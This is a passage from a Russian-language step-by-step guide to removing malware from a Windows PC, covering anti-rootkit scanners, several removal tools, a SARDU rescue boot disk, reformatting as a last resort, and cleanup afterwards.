После сканирования вашего компьютера в этих программах вы должны перезагрузить его. Затем еще раз проверьте ваш компьютер, используя советы, которые я даю в статье " ". Если все хорошо тогда, вы можете перейти к разделу " ". Помните, что отключенные записи реестра не опасны. Однако, если Ваш компьютер все еще не очищен, тогда еще раз пройдите шаги, описанные в этом разделе и посмотрите, поможет ли это удалить инфекции. Если программы в разделе 2.1 ранее не были в состоянии корректно работать, то вы должны вернуться и попробовать запустить их снова. Если ни одна из вышеупомянутых программ не смогла запуститься, загрузитесь в Безопасном режиме с поддержкой сети и попытайтесь выполнить сканирование оттуда. Однако, если они смогли правильно запуститься, и угрозы все еще остаются даже после повторного следования совету в этом разделе, то вы можете перейти к следующему разделу.
2.3 Если необходимо, попробуйте эти не столь быстрые методы
Если вышеупомянутые меры не помогли полностью удалить заражение, тогда в вашей машине, вероятно, проживает некоторая весьма неотзывчивая вредоносная программа. Таким образом, методы, обсуждаемые в этом разделе, намного более мощны, но потребуют больше времени. Первая вещь, которую я советую сделать, состоит в том, чтобы просканировать Ваш компьютер в еще одном противоруткитовом сканере, который называется GMER. Его можно загрузить вот с этой страницы . Удалите все, что будет затенено красным. Обязательно нажмите кнопку Scan сразу после того, как программа закончит свой быстрый анализ системы. Кроме того, если у вас запущена 32-битная операционная система, вы должны загрузить программу для поиска и удаления руткита ZeroAccess. Информацию об этом рутките и ссылку к программе для его удаления из 32-битных систем можно найти вот на . Средство AntiZeroAccess можно загрузить по ссылке во втором абзаце.
После сканирования в вышеупомянутых программах следующим вы должны открыть CCE, перейти в настройки и выбрать опцию "Scan for suspicious MBR modification" ("Искать подозрительные изменения в MBR"). Затем нажмите "OK". Теперь в CCE выполните полное сканирование. Делайте перезагрузку, когда требуется, и помещайте в карантин все, что будет найдено. Обратите внимание, что эта опция может быть относительно опасной, поскольку она может выявить проблемы там, где их нет. Используйте ее с осторожностью и удостоверьтесь, что резервная копия всего важного уже сделана. Обратите внимание, что в редких случаях сканирование с помощью этих опций может сделать систему незагружаемой. Такое редко бывает, но даже если это произойдет, это поправимо. Если после выполнения этого сканирования ваш компьютер перестал запускаться, воспользуйтесь установочным диском Windows для восстановоления системы. Это должно помочь, чтобы ваш компьютер снова стал запускаться.
Как только CCE полностью закончит, снова откройте CCE при удерживании клавиши SHIFT. Это действие завершит большинство ненужных процессов, которые могут помешать вам сканировать. Затем откройте KillSwitch, перейдите в меню "Вид" ("View") и выберите "Скрыть безопасные процессы" ("Hide Safe Processes"). Теперь, еще раз удалите все опасные процессы. Затем, вы должны также щелкнуть правой кнопкой по всем неизвестным процессам, которые остались, и выбрать "Завершить процесс" ("Kill Process"). Не удаляйте их. вы должны следовать совету в этом абзаце каждый раз, когда вы перезапускаете ваш компьютер, чтобы иметь уверенность, что следующие сканирования будут максимально эффективны.
После завершения всех процессов, которые не были расценены как надежные, вы должны открыть программу HitmanPro при удерживании клавиши CTRL. Затем выполните сканирование по умолчанию ("Default Scan") и поместите в карантин все, что она найдет. Затем выполните полное сканирование в Malwarebytes и в Emsisoft Emergency Kit. Изолируйте в карантине то, что они найдут. После этого загрузите бесплатную версию SUPERAntiSpyware вот с этой страницы . Во время установки будьте очень осторожны, поскольку вместе с инсталлятором поставляются и другие программы. На первой странице убедитесь, что убрали флажки с обеих опций относительно установки Google Chrome. Теперь выберите опцию "Custom Install" ("Выборочная установка"). Во время выборочной установки Вы должны будете еще раз убрать два флажка с опции добавления Google Chrome.
Не считая этого, программа прекрасно установится. Когда появится предложение начать бесплатный испытательный период, я советую отказаться. Как только программа полностью загрузится, выберите опцию выполнения полного сканирования (Complete Scan) и нажмите кнопку "Scan your Computer..." ("Сканировать ваш компьютер..."). Затем нажмите кнопку "Start Complete Scan>" ("Начать полное сканирование>"). Удаляйте все обнаруживаемые файлы и перезапускайте компьютер, когда требуется.
После выполнения этих шагов вы должны перезагрузить компьютер. Затем еще раз проверьте его, используя совет, который я даю в статье " ". Если все хорошо, тогда вы можете перейти к разделу " ". Помните, что отключенные записи реестра - это не опасно. Однако, если Ваш компьютер все еще не очищен, тогда выполните шаги, описанные в этом разделе еще раз, и смотрите, поможет ли это в устранении заражения. Если нет, то вам нужно переходить к следующему разделу.
2.4 Если необходимо, сделайте загрузочный диск
Если вышеупомянутые методы не помогли полностью устранить заражение, или если вы не можете даже загрузить компьютер, то для того, чтобы очистить ваш компьютер вам может понадобиться загрузочный CD (или флешка), который еще называют загрузочным диском. Я знаю, что все это может показаться сложным делом, но это, в действительности, не так уж плохо. Просто не забудьте, что создать этот диск нужно на компьютере, который не заражен. Иначе файлы могут быть испорчены или даже заражены.
Поскольку это диск загрузочный, никакое вредоносное ПО не может укрыться от него, вывести его из строя или вмешаться в его работу каким-либо образом. Следовательно, сканирование в разных программах таким способом должно позволить очистить почти любую машину, неважно, насколько она может быть заражена. Единственное исключение здесь, это если на машине были заражены сами системные файлы. Если это так, то удаление заражения может причинить вред системе. Главным образом именно по этой причине вы зарезервировали все важные документы перед тем, как начать процесс очистки. Тем не менее, иногда можно обойти это, следуя совету, который я даю ниже.
Чтобы сделать это, вы должны загрузить . Это превосходная программа, которая позволит вам создать единый загрузочный диск с несколькими антивирусными программами. Она также имеет много других полезных функций, которые я не буду обсуждать в этой статье. Несколько очень полезных учебников для SARDU можно найти вот на этой странице . Будьте очень осторожны относительно дополнительных предложений, теперь включенных в инсталлятор. К сожалению, эта программа теперь пытается надувать людей в целях установки дополнительных программ, которые в основном не нужны.
После ее загрузки распакуйте содержимое и откройте папку SARDU. Затем запустите исполняемый файл, который соответствует вашей операционной системе, - либо sardu, либо sardu_x64. На вкладке Antivirus щелкните те антивирусные приложения, которые вы хотели бы записать на создаваемый вами диск. Вы можете добавлять так много или так мало, как посчитаете нужным. Я рекомендую, чтобы вы просканировали свой компьютер, по крайней мере, в программах Dr.Web LiveCD , Avira Rescue System и Kaspersky Rescue Disk . Одна из приятных вещей в Dr.Web - то, что в нем иногда есть возможность заменить зараженный файл чистой его версией, вместо того, чтобы его просто удалять. Это поможет Вам очистить некоторые компьютеры, не нанося вред системе. Таким образом я очень рекомендую включить Dr.Web в ваш загрузочный диск.
Щелканье по названиям различных антивирусных приложений часто будет направлять Вас на страницу, с которой можно будет скачать ISO-образ с соответствующим антивирусом. Иногда вместо этого вам будет предоставлена опция его загрузки непосредственно через SARDU, которую можно найти на вкладке Downloader. Если есть выбор, всегда выбирайте опцию загрузки ISO. Кроме того, после загрузки файла ISO вам может понадобиться переместить его в папку ISO, находящуюся в основной папке SARDU. Как только вы переместили ISO-образы всех нужных вам антивирусных продуктов в папку ISO, все готово к созданию аварийного загрузочного диска. Чтобы сделать его, перейдите на вкладку Antivirus и проверьте, что у всех выбранных вами антивирусов проставлены флажки. Теперь нажмите кнопку создания либо USB-устройства, либо диска. Любой из этих вариантов будет приемлем. Он зависит лишь от того, как вы хотите запускать аварийный диск - с USB или с CD.
После создания аварийного диска, вероятно, вам нужно будет изменить последовательность начальной загрузки в настройках вашего BIOS, чтобы гарантировать, что, когда вы вставите загрузочный CD или загрузочное флеш-устройство, компьютер загрузит его, а не операционную систему, как обычно. Для наших целей вы должны изменить порядок таким образом, чтобы на первом месте был пункт "CD/DVD Rom drive", если вы хотите загрузиться с CD или DVD, либо "Removable Devices" ("Сменные Устройства"), если вы хотите загрузиться с флеш-накопителя. Как только это сделано, загрузите компьютер с аварийного диска.
После загрузки с диска вы можете выбрать, с помощью какого антивируса вы хотели бы начать проверку своего компьютера. Как я упомянул ранее, я бы рекомендовал начать с Dr.Web. Когда эта программа закончит, и вы восстановите или удалите все, что она найдет, вам нужно будет выключить компьютер. Затем обязательно снова загрузитесь с диска и потом продолжайте сканировать в других антивирусах. Продолжайте этот процесс, пока вы не просканируете свой компьютер во всех антивирусных программах, которые вы записали на загрузочный диск.
После очистки компьютера в программах, которые вы записывали на диск, теперь вам нужно попробовать снова запустить Windows. Если компьютер в состоянии запуститься из-под Windows, тогда проверьте его, используя указания, которые я даю в статье " ". Если все хорошо, то вы можете перейти к разделу " ". Помните, что отключенные записи реестра не могут подвергнуть риску.
Если Ваш компьютер еще не очищен, но вы можете загрузиться из-под Windows, то я советовал бы попробовать очистить его, находясь в Windows, начав с данной статьи и следуя предложенным методам. Однако, если Ваш компьютер все еще не может загрузить Windows, то снова попробуйте привести его в порядок, используя установочный диск Windows. Это должно помочь в том, чтобы ваш компьютер снова начал запускаться. Если даже это не помогает его сделать загружаемым, тогда попробуйте добавить в аварийный загрузочный диск больше антивирусов и потом заново просканируйте компьютер. Если выполнение этого все еще не помогает, то прочтите .
3. Что делать, если вышеупомянутые методы не помогли очистить ваш компьютер
Если вы выполнили все вышеупомянутые указания и все еще не смогли очистить свой компьютер, но вы убеждены, что проблемы вызваны именно вредоносным ПО, мы будем очень признательны, если вы оставите комментарий и объясните, что вы пытались сделать, чтобы очистить компьютер, и какие остались признаки, которые заставляют думать, что компьютер все еще не очищен. Это очень важно в целях улучшения этой статьи. На самом деле надеемся, что никто никогда не дойдет до этого раздела. Эта статья предназначена для того, чтобы дать вам возможность полностью очистить зараженный компьютер.
Вы можете также обратиться за советом на специализированный форум, посвященный удалению вредоносного ПО. Очень полезный форум, который является нашим партнером - . Однако, если даже после обращения за помощью на форум по удалению вредоносного ПО ваш компьютер все еще не освободился от вредных программ, может потребоваться отформатировать ваш компьютер и запустить его так. Это означает, что вы потеряете все, что не скопировали заблаговременно. Если вы это делаете, обязательно произведите полное форматирование своего компьютера, прежде чем переустанавливать Windows. Это позволит уничтожить вредоносное ПО почти любого вида. Как только Windows будет переустановлена, выполните шаги, описанные в .
4. Что делать после того, как все вредоносное ПО окончательно определено для удаления
Убедившись в том, что ваш компьютер очищен, теперь вы можете попробовать восстановить что-либо утраченное. Вы можете воспользоваться утилитой Windows Repair (All In One) - инструмент все-в-одном, который позволяет исправить большое количество известных проблем Windows, включая ошибки реестра, права доступа файлов, Internet Explorer, обновления Windows, брандмауэр Windows. Если после выполнения всех процедур ваш компьютер работает нормально, то вы можете также открыть Comodo Autorun Analyzer и выбрать опцию удаления тех элементов реестра, которые вы ранее лишь отключили. Таким образом, их вообще больше не будет на вашем компьютере.
Как только вы благополучно убрали все заражения со своего компьютера и устранили остатки разрушительных последствий, вы должны предпринять шаги, чтобы гарантировать, что такое не произойдет снова. По этой причине я написал руководство "Как сохранять защищенность в онлайне" (скоро будет опубликована на нашем сайте). Пожалуйста, прочитайте его потом и реализуйте те методы, которые по-вашему лучше всего соответствуют вашим нуждам.
После обеспечения безопасности вашего компьютера вы теперь можете восстановить какие-либо из файлов, потерянных во время процесса очищения, которые были ранее сохранены в резервной копии. Надеюсь, что этот шаг не придется выполнять. Также, прежде чем восстанавливать их, удостоверьтесь, что ваш компьютер очень хорошо защищен. Если вы не защитите компьютер в достаточной мере, то вы можете случайно заразить его, и тогда снова придется на нем вычищать заражение. Кроме того, если вы использовали USB-устройство для перемещения каких-либо файлов на зараженный компьютер, вы можете теперь вставить его обратно в компьютер и убедиться, что на нем нет вредоносного ПО. Я рекомендую сделать это путем удаления всех оставшихся на нем файлов.
Нашли опечатку? Нажмите Ctrl + Enter
